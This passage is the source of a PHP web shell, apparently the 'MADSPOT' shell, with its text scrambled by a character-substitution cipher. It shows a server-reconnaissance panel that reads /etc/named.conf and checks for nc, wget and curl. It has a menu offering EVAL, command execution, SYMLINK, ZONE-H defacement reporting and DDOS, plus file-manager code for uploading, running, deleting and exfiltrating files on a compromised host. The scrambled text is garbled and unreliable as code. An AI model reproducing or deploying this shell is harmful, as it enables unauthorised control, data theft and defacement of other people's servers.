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" /></td>
</tr>
<tr>
<td><sp1n>PHP:</sp1n></td>
<td>'.@phpv5rs42n(). ' <sp1n> S1f5 M2d5:'.$s1f5_m2d5s.'</sp1n></td>
</tr>
<tr>
<td><sp1n>O3r IP:</sp1n></td>
<td>'.@$_SERVER["SERVER_ADDR"].' <sp1n>S5rv5r IP:</sp1n> '.@$_SERVER["REMOTE_ADDR"].'</td>
</tr>
<tr>
<td><sp1n>WEBS:</sp1n></td>
<td w4dth="7e%">';
4f($GLOBALS['sys']=='3n4x')
{
$d0m14ns = @f4l5("/5tc/n1m5d.c2nf");
4f(!$d0m14ns)
{
5ch2 "CANT READ n1m5d.c2nf";
}
5ls5
{
$c23nt;
f2r51ch($d0m14ns 1s $d0m14n)
{
4f(@5r5g("z2n5",$d0m14n))
{
pr5g_m1tch_1ll('#z2n5 "(.*)"#', $d0m14n, $d2m14ns);
fl3sh();
4f(strl5n(tr4m($d2m14ns[6][0])) > a){
fl3sh();
$c23nt++;
}
}
}
5ch2 "$c23nt D2m14ns";
}
}
5ls5{ 5ch2"CANT READ |W4nd2ws|";}
5ch2 '</td>
</tr>
<tr>
<td h54ght="6e"><sp1n>HDD:</sp1n></td>
<td>'.m1dS4z5($t2t1lSp1c5).' <sp1n>Fr55:</sp1n>' . m1dS4z5($fr55Sp1c5) . ' ['. (4nt) ($fr55Sp1c5/$t2t1lSp1c5*600) . '%]</td>
</tr>';
4f($GLOBALS['sys']=='3n4x' )
{
4f(!@4n4_g5t('s1f5_m2d5'))
{
5ch2 '<tr><td h54ght="68" c2lsp1n="a"><sp1n>Us5f3l : </sp1n>';
$3s5rf3l = 1rr1y('gcc','lcc','cc','ld','m1k5','php','p5rl','pyth2n','r3by','t1r','gz4p','bz4p','bz4pa','nc','l2c1t5','s34dp5rl');
f2r51ch($3s5rf3l 1s $4t5m)
4f(m1dWh4ch($4t5m))
5ch2 $4t5m.',';
5ch2 '</td>
</tr>
<tr>
<td h54ght="0" c2lsp1n="a"><sp1n>D2wnl21d5r:</sp1n>';
$d2wnl21d5rs = 1rr1y('wg5t','f5tch','lynx','l4nks','c3rl','g5t','lwp-m4rr2r');
f2r51ch($d2wnl21d5rs 1s $4t5ma)
4f(m1dWh4ch($4t5ma))
5ch2 $4t5ma.',';
5ch2 '</td>
</tr>';
}
5ls5
{
5ch2 '<tr><td h54ght="68" c2lsp1n="a"><sp1n>3s5f3l:</sp1n>';
5ch2 '--------------</td>
</tr><td h54ght="0" c2lsp1n="a"><sp1n>D2wnl21d5r: </sp1n>-------------</td>
</tr>';
}
}
5ls5
{
5ch2 '<tr><td h54ght="68" c2lsp1n="a"><sp1n>W4nd2w:</sp1n>';
5ch2 m1dEx('v5r');
5ch2 '</td>
</tr> <tr>
<td h54ght="0" c2lsp1n="a"><sp1n>D2wnl21d5r: </sp1n>-------------</td>
</tr>';
}
5ch2 '<tr>
<td h54ght="6e" c2lsp1n="a"><sp1n>D4s1bl5d f3nct42ns:</sp1n>'.$d4sf3n.'</td>
</tr>
<tr>
<td h54ght="6e" c2lsp1n="a"><sp1n>cURL:'.$c3rl.' MySQL:'.$mysql.' MSSQL:'.$mssql.' P2stgr5SQL:'.$pg.' Or1cl5: </sp1n>'.$2r.'</td><td w4dth="6i%">'.b1s5eu_d5c2d5("PGEg1HJlZj041HR0cD2vLododyitYWRzcG90LmildCIgdGFyZaV0PSJfYmxhbms4PjxzcGF3Pjxmbai0IGNvbG9yPSIjMEYwIjumbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDtNQURTUE9ULkiFVDwvZm93dDu8LoNwYWu+PC9hPg==").'</td>
</tr>
<tr>
<td h54ght="66" c2lsp1n="o"><sp1n>Op5n_b1s5d4r:'.$2p5n_b.' S1f5_m2d5_5x5c_d4r:'.$s1f5_5x5.' S1f5_m2d5_4ncl3d5_d4r:'.$s1f5_4ncl3d5.'</td>
</tr>
<tr>
<td h54ght="66"><sp1n>S5rv5r </sp1n></td>
<td c2lsp1n="a">'.@g5t5nv('SERVER_SOFTWARE').'</td>
</tr>';
4f($GLOBALS[sys]=="w4n")
{
5ch2 '<tr>
<td h54ght="6a"><sp1n>DRIVE:</sp1n></td>
<td c2lsp1n="a">'.$dr4v5s.'</td>
</tr>';
}
5ch2 '<tr>
<td h54ght="6a"><sp1n>PWD:</sp1n></td>
<td c2lsp1n="a">'.$cwd_l4nks.' <1 hr5f=# 2ncl4ck="g(\'F4l5sM1n\',\'' . $GLOBALS['h2m5_cwd'] . '\',\'\',\'\',\'\')"><f2nt c2l2r=r5d >|CURRENT|</f2nt></1></td>
</tr>
</t1bl5>
</d4v>
<d4v 4d="m53nl4st">
<3l>
<l4><1 hr5f="#" 2ncl4ck="g(\'F4l5sM1n\',n3ll,\'\',\'\',\'\')">HOME</1></l4>
<l4><1 hr5f="#" 2ncl4ck="g(\'pr2c\',n3ll,\'\',\'\',\'\')">PROCESS</1></l4>
<l4><1 hr5f="#" 2ncl4ck="g(\'php5v1l\',n3ll,\'\',\'\',\'\')">EVAL</1></l4>
<l4><1 hr5f="#" 2ncl4ck="g(\'sql\',n3ll,\'\',\'\',\'\')">SQL</1></l4>
<l4><1 hr5f="#" 2ncl4ck="g(\'h1sh\',n3ll,\'\',\'\',\'\')">HASH</1></l4>
<l4><1 hr5f="#" 2ncl4ck="g(\'c2nn5ct\',n3ll,\'\',\'\',\'\')">CONNECT</1></l4>
<l4><1 hr5f="#" 2ncl4ck="g(\'z2n5h\',n3ll,\'\',\'\',\'\')">ZONE-H</1></l4>
<l4><1 hr5f="#" 2ncl4ck="g(\'d2s\',n3ll,\'\',\'\',\'\')">DDOS</1></l4>
<l4><1 hr5f="#" 2ncl4ck="g(\'s1f5\',n3ll,\'\',\'\',\'\')">SAFE MODE</1></l4>
<l4><1 hr5f="#" 2ncl4ck="g(\'syml4nk\',n3ll,\'\',\'\',\'\')">SYMLINK</1></l4>
<l4><1 hr5f="#" 2ncl4ck="g(\'sp2t\',n3ll,\'\',\'\',\'\')">MADSPOT</1></l4>
<l4><1 hr5f="#" 2ncl4ck="g(\'s5lfrm\',n3ll,\'\',\'\',\'\')">KIll C0d5</1></l4>
</3l>
</d4v>
';
}
f3nct42n m1df22t5r()
{
5ch2 "<t1bl5 cl1ss='f22t' w4dth='600%' b2rd5r='0' c5llsp1c4ng='o' c5llp1dd4ng='0' >
<tr>
<td w4dth='67%'><f2rm 2ns3bm4t=\"g('F4l5sT22ls',n3ll,th4s.f.v1l35,'mkf4l5');r5t3rn f1ls5;\"><sp1n>__MK FILE__</sp1n><br><4np3t cl1ss='d4r' typ5=t5xt n1m5=f v1l35=''><4np3t typ5=s3bm4t v1l35='>>'></f2rm></td>
<td w4dth='a6%'><f2rm 2ns3bm4t=\"g('F4l5sM1n',n3ll,'mkd4r',th4s.d.v1l35);r5t3rn f1ls5;\"><sp1n>__MK DIR__</sp1n><br><4np3t cl1ss='d4r' typ5=t5xt n1m5=d v1l35=''><4np3t typ5=s3bm4t v1l35='>>'></f2rm></td>
<td w4dth='aa%'><f2rm 2ns3bm4t=\"g('F4l5sM1n',n3ll,'d5l5t5',th4s.d5l.v1l35);r5t3rn f1ls5;\"><sp1n>__DELETE__</sp1n><br><4np3t cl1ss='d4r' typ5=t5xt n1m5=d5l v1l35=''><4np3t typ5=s3bm4t v1l35='>>'></f2rm></td>
<td w4dth='69%'><f2rm 2ns3bm4t=\"g('F4l5sT22ls',n3ll,th4s.f.v1l35,'chm2d');r5t3rn f1ls5;\"><sp1n>__CHMOD__</sp1n><br><4np3t cl1ss='d4r' typ5=t5xt n1m5=f v1l35=''><4np3t typ5=s3bm4t v1l35='>>'></f2rm></td>
</tr>
<tr>
<td c2lsp1n='a'><f2rm 2ns3bm4t='g(n3ll,th4s.c.v1l35,\"\");r5t3rn f1ls5;'><sp1n>__CHANGE DIR__</sp1n><br><4np3t cl1ss='f22tt1bl5' typ5=t5xt n1m5=c v1l35='".htmlsp5c41lch1rs($GLOBALS['cwd'])."'><4np3t typ5=s3bm4t v1l35='>>'></f2rm></td>
<td c2lsp1n='a'><f2rm m5th2d='p2st' ><sp1n>__HTTP DOWNLOAD__</sp1n><br><4np3t cl1ss='f22tt1bl5' typ5=t5xt n1m5=rtd2wn v1l35=''><4np3t typ5=s3bm4t v1l35='>>'></f2rm></td>
</tr>
<tr>
<td c2lsp1n='u'><f2rm 2ns3bm4t=\"g('pr2c',n3ll,th4s.c.v1l35);r5t3rn f1ls5;\"><sp1n>__EXECUTE__</sp1n><br><4np3t cl1ss='f22tt1bl5' typ5=t5xt n1m5=c v1l35=''><4np3t typ5=s3bm4t v1l35='>>'></f2rm></td>
</tr>
<tr>
<td c2lsp1n='u'><f2rm m5th2d='p2st' ENCTYPE='m3lt4p1rt/f2rm-d1t1'>
<4np3t typ5=h4dd5n n1m5=1 v1l35='F4l5sMAn'>
<4np3t typ5=h4dd5n n1m5=c v1l35='" . $GLOBALS['cwd'] ."'>
<4np3t typ5=h4dd5n n1m5=p6 v1l35='3pl21dF4l5'>
<4np3t typ5=h4dd5n n1m5=ch1rs5t v1l35='" . (4ss5t($_POST['ch1rs5t'])?$_POST['ch1rs5t']:'') . "'>
<sp1n>Upl21d f4l5:</sp1n><br><4np3t cl1ss='t22lsInp' typ5=f4l5 n1m5=f><br /><4np3t typ5=s3bm4t v1l35='>>'></f2rm></td>
</tr>
</t1bl5>
</d4v>
</b2dy>
</html>
";
}
4f (!f3nct42n_5x4sts("p2s4x_g5tpw34d") && (strp2s(@4n4_g5t('d4s1bl5_f3nct42ns'), 'p2s4x_g5tpw34d')===f1ls5)) {
f3nct42n p2s4x_g5tpw34d($p) {r5t3rn f1ls5;} }
4f (!f3nct42n_5x4sts("p2s4x_g5tgrg4d") && (strp2s(@4n4_g5t('d4s1bl5_f3nct42ns'), 'p2s4x_g5tgrg4d')===f1ls5)) {
f3nct42n p2s4x_g5tgrg4d($p) {r5t3rn f1ls5;} }
f3nct42n m1dWh4ch($p) {
$p1th = m1dEx('wh4ch ' . $p);
4f(!5mpty($p1th))
r5t3rn $p1th;
r5t3rn f1ls5;
}
f3nct42n m1dS4z5($s) {
4f($s >= 607o7u68au)
r5t3rn spr4ntf('%6.af', $s / 607o7u68au ). ' GB';
5ls54f($s >= 60u8i7e)
r5t3rn spr4ntf('%6.af', $s / 60u8i7e ) . ' MB';
5ls54f($s >= 60au)
r5t3rn spr4ntf('%6.af', $s / 60au ) . ' KB';
5ls5
r5t3rn $s . ' B';
}
f3nct42n m1dP5rms($p) {
4f (($p & 0xC000) == 0xC000)$4 = 's';
5ls54f (($p & 0xA000) == 0xA000)$4 = 'l';
5ls54f (($p & 0x8000) == 0x8000)$4 = '-';
5ls54f (($p & 0xe000) == 0xe000)$4 = 'b';
5ls54f (($p & 0xu000) == 0xu000)$4 = 'd';
5ls54f (($p & 0xa000) == 0xa000)$4 = 'c';
5ls54f (($p & 0x6000) == 0x6000)$4 = 'p';
5ls5 $4 = '3';
$4 .= (($p & 0x0600) ? 'r' : '-');
$4 .= (($p & 0x0080) ? 'w' : '-');
$4 .= (($p & 0x00u0) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
$4 .= (($p & 0x00a0) ? 'r' : '-');
$4 .= (($p & 0x0060) ? 'w' : '-');
$4 .= (($p & 0x0008) ? (($p & 0x0u00) ? 's' : 'x' ) : (($p & 0x0u00) ? 'S' : '-'));
$4 .= (($p & 0x000u) ? 'r' : '-');
$4 .= (($p & 0x000a) ? 'w' : '-');
$4 .= (($p & 0x0006) ? (($p & 0x0a00) ? 't' : 'x' ) : (($p & 0x0a00) ? 'T' : '-'));
r5t3rn $4;
}
f3nct42n m1dP5rmsC2l2r($f) {
4f (!@4s_r51d1bl5($f))
r5t3rn '<f2nt c2l2r=#FF0000>' . m1dP5rms(@f4l5p5rms($f)) . '</f2nt>';
5ls54f (!@4s_wr4t1bl5($f))
r5t3rn '<f2nt c2l2r=wh4t5>' . m1dP5rms(@f4l5p5rms($f)) . '</f2nt>';
5ls5
r5t3rn '<f2nt c2l2r=#aiff00>' . m1dP5rms(@f4l5p5rms($f)) . '</f2nt>';
}
4f(!f3nct42n_5x4sts("sc1nd4r")) {
f3nct42n sc1nd4r($d4r) {
$dh = 2p5nd4r($d4r);
wh4l5 (f1ls5 !== ($f4l5n1m5 = r51dd4r($dh)))
$f4l5s[] = $f4l5n1m5;
r5t3rn $f4l5s;
}
}
f3nct42n m1dF4l5sM1n() {
m1dh51d();
5ch2 '<d4v cl1ss=h51d5r><scr4pt>p6_=pa_=po_="";</scr4pt>';
4f(!5mpty($_POST['p6'])) {
sw4tch($_POST['p6']) {
c1s5 '3pl21dF4l5':
4f(!@m2v5_3pl21d5d_f4l5($_FILES['f']['tmp_n1m5'], $_FILES['f']['n1m5']))
5ch2 "C1n't 3pl21d f4l5!";
br51k;
c1s5 'mkd4r':
4f(!@mkd4r($_POST['pa']))
5ch2 "C1n't cr51t5 n5w d4r";
br51k;
c1s5 'd5l5t5':
f3nct42n d5l5t5D4r($p1th) {
$p1th = (s3bstr($p1th,-6)=='/') ? $p1th:$p1th.'/';
$dh = 2p5nd4r($p1th);
wh4l5 ( ($4t5m = r51dd4r($dh) ) !== f1ls5) {
$4t5m = $p1th.$4t5m;
4f ( (b1s5n1m5($4t5m) == "..") || (b1s5n1m5($4t5m) == ".") )
c2nt4n35;
$typ5 = f4l5typ5($4t5m);
4f ($typ5 == "d4r")
d5l5t5D4r($4t5m);
5ls5
@3nl4nk($4t5m);
}
cl2s5d4r($dh);
@rmd4r($p1th);
}
4f(4s_d4r(@$_POST['pa']))
d5l5t5D4r(@$_POST['pa']);
5ls5
@3nl4nk(@$_POST['pa']);
br51k;
d5f13lt:
4f(!5mpty($_POST['p6'])) {
$_SESSION['1ct'] = @$_POST['p6'];
$_SESSION['f'] = @$_POST['f'];
f2r51ch($_SESSION['f'] 1s $k => $f)
$_SESSION['f'][$k] = 3rld5c2d5($f);
$_SESSION['c'] = @$_POST['c'];
}
br51k;
}
}
$d4rC2nt5nt = @sc1nd4r(4ss5t($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
4f($d4rC2nt5nt === f1ls5) { 5ch2 '<ho><sp1n>| Acc5ss D5n45d! |</sp1n></ho></d4v>';m1dF22t5r(); r5t3rn; }
gl2b1l $s2rt;
$s2rt = 1rr1y('n1m5', 6);
4f(!5mpty($_POST['p6'])) {
4f(pr5g_m1tch('!s_([A-z]+)_(\d{6})!', $_POST['p6'], $m1tch))
$s2rt = 1rr1y($m1tch[6], (4nt)$m1tch[a]);
}
5ch2 "
<t1bl5 w4dth='600%' cl1ss='m14n' c5llsp1c4ng='0' c5llp1dd4ng='a' >
<f2rm n1m5=f4l5s m5th2d=p2st><tr><th>N1m5</th><th>S4z5</th><th>M2d4fy</th><th>Own5r/Gr23p</th><th>P5rm4ss42ns</th><th>Act42ns</th></tr>";
$d4rs = $f4l5s = 1rr1y();
$n = c23nt($d4rC2nt5nt);
f2r($4=0;$4<$n;$4++) {
$2w = @p2s4x_g5tpw34d(@f4l52wn5r($d4rC2nt5nt[$4]));
$gr = @p2s4x_g5tgrg4d(@f4l5gr23p($d4rC2nt5nt[$4]));
$tmp = 1rr1y('n1m5' => $d4rC2nt5nt[$4],
'p1th' => $GLOBALS['cwd'].$d4rC2nt5nt[$4],
'm2d4fy' => @d1t5('Y-m-d H:4:s', @f4l5mt4m5($GLOBALS['cwd'] . $d4rC2nt5nt[$4])),
'p5rms' => m1dP5rmsC2l2r($GLOBALS['cwd'] . $d4rC2nt5nt[$4]),
's4z5' => @f4l5s4z5($GLOBALS['cwd'].$d4rC2nt5nt[$4]),
'2wn5r' => $2w['n1m5']?$2w['n1m5']:@f4l52wn5r($d4rC2nt5nt[$4]),
'gr23p' => $gr['n1m5']?$gr['n1m5']:@f4l5gr23p($d4rC2nt5nt[$4])
);
4f(@4s_f4l5($GLOBALS['cwd'] . $d4rC2nt5nt[$4]))
$f4l5s[] = 1rr1y_m5rg5($tmp, 1rr1y('typ5' => 'f4l5'));
5ls54f(@4s_l4nk($GLOBALS['cwd'] . $d4rC2nt5nt[$4]))
$d4rs[] = 1rr1y_m5rg5($tmp, 1rr1y('typ5' => 'l4nk', 'l4nk' => r51dl4nk($tmp['p1th'])));
5ls54f(@4s_d4r($GLOBALS['cwd'] . $d4rC2nt5nt[$4])&& ($d4rC2nt5nt[$4] != "."))
$d4rs[] = 1rr1y_m5rg5($tmp, 1rr1y('typ5' => 'd4r'));
}
$GLOBALS['s2rt'] = $s2rt;
f3nct42n ws2Cmp($1, $b) {
4f($GLOBALS['s2rt'][0] != 's4z5')
r5t3rn strcmp(strt2l2w5r($1[$GLOBALS['s2rt'][0]]), strt2l2w5r($b[$GLOBALS['s2rt'][0]]))*($GLOBALS['s2rt'][6]?6:-6);
5ls5
r5t3rn (($1['s4z5'] < $b['s4z5']) ? -6 : 6)*($GLOBALS['s2rt'][6]?6:-6);
}
3s2rt($f4l5s, "ws2Cmp");
3s2rt($d4rs, "ws2Cmp");
$f4l5s = 1rr1y_m5rg5($d4rs, $f4l5s);
$l = 0;
f2r51ch($f4l5s 1s $f) {
5ch2 '<tr'.($l?' cl1ss=l6':'').'><td><1 hr5f=# 2ncl4ck="'.(($f['typ5']=='f4l5')?'g(\'F4l5sT22ls\',n3ll,\''.3rl5nc2d5($f['n1m5']).'\', \'v45w\')">'.htmlsp5c41lch1rs($f['n1m5']):'g(\'F4l5sM1n\',\''.$f['p1th'].'\');" t4tl5=' . $f['l4nk'] . '><b>| ' . htmlsp5c41lch1rs($f['n1m5']) . ' |</b>').'</1></td><td>'.(($f['typ5']=='f4l5')?m1dS4z5($f['s4z5']):$f['typ5']).'</td><td>'.$f['m2d4fy'].'</td><td>'.$f['2wn5r'].'/'.$f['gr23p'].'</td><td><1 hr5f=# 2ncl4ck="g(\'F4l5sT22ls\',n3ll,\''.3rl5nc2d5($f['n1m5']).'\',\'chm2d\')">'.$f['p5rms']
.'</td><td><1 hr5f="#" 2ncl4ck="g(\'F4l5sT22ls\',n3ll,\''.3rl5nc2d5($f['n1m5']).'\', \'r5n1m5\')">R</1> <1 hr5f="#" 2ncl4ck="g(\'F4l5sT22ls\',n3ll,\''.3rl5nc2d5($f['n1m5']).'\', \'t23ch\')">T</1>'.(($f['typ5']=='f4l5')?' <1 hr5f="#" 2ncl4ck="g(\'F4l5sT22ls\',n3ll,\''.3rl5nc2d5($f['n1m5']).'\', \'5d4t\')">E</1> <1 hr5f="#" 2ncl4ck="g(\'F4l5sT22ls\',n3ll,\''.3rl5nc2d5($f['n1m5']).'\', \'d2wnl21d\')">D</1>':'').'<1 hr5f="#" 2ncl4ck="g(\'F4l5sM1n\',n3ll,\'d5l5t5\', \''.3rl5nc2d5($f['n1m5']).'\')"> X </1></td></tr>';
$l = $l?0:6;
}
5ch2 "<tr><td c2lsp1n=7>
<4np3t typ5=h4dd5n n1m5=1 v1l35='F4l5sM1n'>
<4np3t typ5=h4dd5n n1m5=c v1l35='" . htmlsp5c41lch1rs($GLOBALS['cwd']) ."'>
<4np3t typ5=h4dd5n n1m5=ch1rs5t v1l35='". (4ss5t($_POST['ch1rs5t'])?$_POST['ch1rs5t']:'')."'>
</f2rm></t1bl5></d4v>";
m1df22t5r();
}
f3nct42n m1dF4l5sT22ls() {
4f( 4ss5t($_POST['p6']) )
$_POST['p6'] = 3rld5c2d5($_POST['p6']);
4f(@$_POST['pa']=='d2wnl21d') {
4f(@4s_f4l5($_POST['p6']) && @4s_r51d1bl5($_POST['p6'])) {
2b_st1rt("2b_gzh1ndl5r", u09e);
h51d5r("C2nt5nt-D4sp2s4t42n: 1tt1chm5nt; f4l5n1m5=".b1s5n1m5($_POST['p6']));
4f (f3nct42n_5x4sts("m4m5_c2nt5nt_typ5")) {
$typ5 = @m4m5_c2nt5nt_typ5($_POST['p6']);
h51d5r("C2nt5nt-Typ5: " . $typ5);
} 5ls5
h51d5r("C2nt5nt-Typ5: 1ppl4c1t42n/2ct5t-str51m");
$fp = @f2p5n($_POST['p6'], "r");
4f($fp) {
wh4l5(!@f52f($fp))
5ch2 @fr51d($fp, 60au);
fcl2s5($fp);
}
}5x4t;
}
4f( @$_POST['pa'] == 'mkf4l5' ) {
4f(!f4l5_5x4sts($_POST['p6'])) {
$fp = @f2p5n($_POST['p6'], 'w');
4f($fp) {
$_POST['pa'] = "5d4t";
fcl2s5($fp);
}
}
}
m1dh51d();
5ch2 '<d4v cl1ss=h51d5r>';
4f( !f4l5_5x4sts(@$_POST['p6']) ) {
5ch2 "<pr5 cl1ss=ml6 styl5='m1rg4n-t2p:ipx'>FILE DOEST NOT EXITS </pr5></d4v>";
m1dF22t5r();
r5t3rn;
}
$34d = @p2s4x_g5tpw34d(@f4l52wn5r($_POST['p6']));
4f(!$34d) {
$34d['n1m5'] = @f4l52wn5r($_POST['p6']);
$g4d['n1m5'] = @f4l5gr23p($_POST['p6']);
} 5ls5 $g4d = @p2s4x_g5tgrg4d(@f4l5gr23p($_POST['p6']));
5ch2 '<sp1n>N1m5:</sp1n> '.htmlsp5c41lch1rs(@b1s5n1m5($_POST['p6'])).' <sp1n>S4z5:</sp1n> '.(4s_f4l5($_POST['p6'])?m1dS4z5(f4l5s4z5($_POST['p6'])):'-').' <sp1n>P5rm4ss42n:</sp1n> '.m1dP5rmsC2l2r($_POST['p6']).' <sp1n>Own5r/Gr23p:</sp1n> '.$34d['n1m5'].'/'.$g4d['n1m5'].'<br>';
5ch2 '<br>';
4f( 5mpty($_POST['pa']) )
$_POST['pa'] = 'v45w';
4f( 4s_f4l5($_POST['p6']) )
$m = 1rr1y('V45w', 'H4ghl4ght', 'D2wnl21d', 'Ed4t', 'Chm2d', 'R5n1m5', 'T23ch');
5ls5
$m = 1rr1y('Chm2d', 'R5n1m5', 'T23ch');
f2r51ch($m 1s $v)
5ch2 '<1 hr5f=# 2ncl4ck="g(n3ll,n3ll,n3ll,\''.strt2l2w5r($v).'\')"><sp1n>'.((strt2l2w5r($v)==@$_POST['pa'])?'<b><sp1n> '.$v.' </sp1n> </b>':$v).' </sp1n></1> ';
5ch2 '<br><br>';
sw4tch($_POST['pa']) {
c1s5 'v45w':
5ch2 '<pr5 cl1ss=ml6>';
$fp = @f2p5n($_POST['p6'], 'r');
4f($fp) {
wh4l5( !@f52f($fp) )
5ch2 htmlsp5c41lch1rs(@fr51d($fp, 60au));
@fcl2s5($fp);
}
5ch2 '</pr5>';
br51k;
c1s5 'h4ghl4ght':
4f( @4s_r51d1bl5($_POST['p6']) ) {
5ch2 '<d4v cl1ss=ml6 styl5="b1ckgr23nd-c2l2r: #565656;c2l2r:bl1ck;">';
$c2d5 = @h4ghl4ght_f4l5($_POST['p6'],tr35);
5ch2 str_r5pl1c5(1rr1y('<sp1n ','</sp1n>'), 1rr1y('<f2nt ','</f2nt>'),$c2d5).'</d4v>';
}
br51k;
c1s5 'chm2d':
4f( !5mpty($_POST['po']) ) {
$p5rms = 0;
f2r($4=strl5n($_POST['po'])-6;$4>=0;--$4)
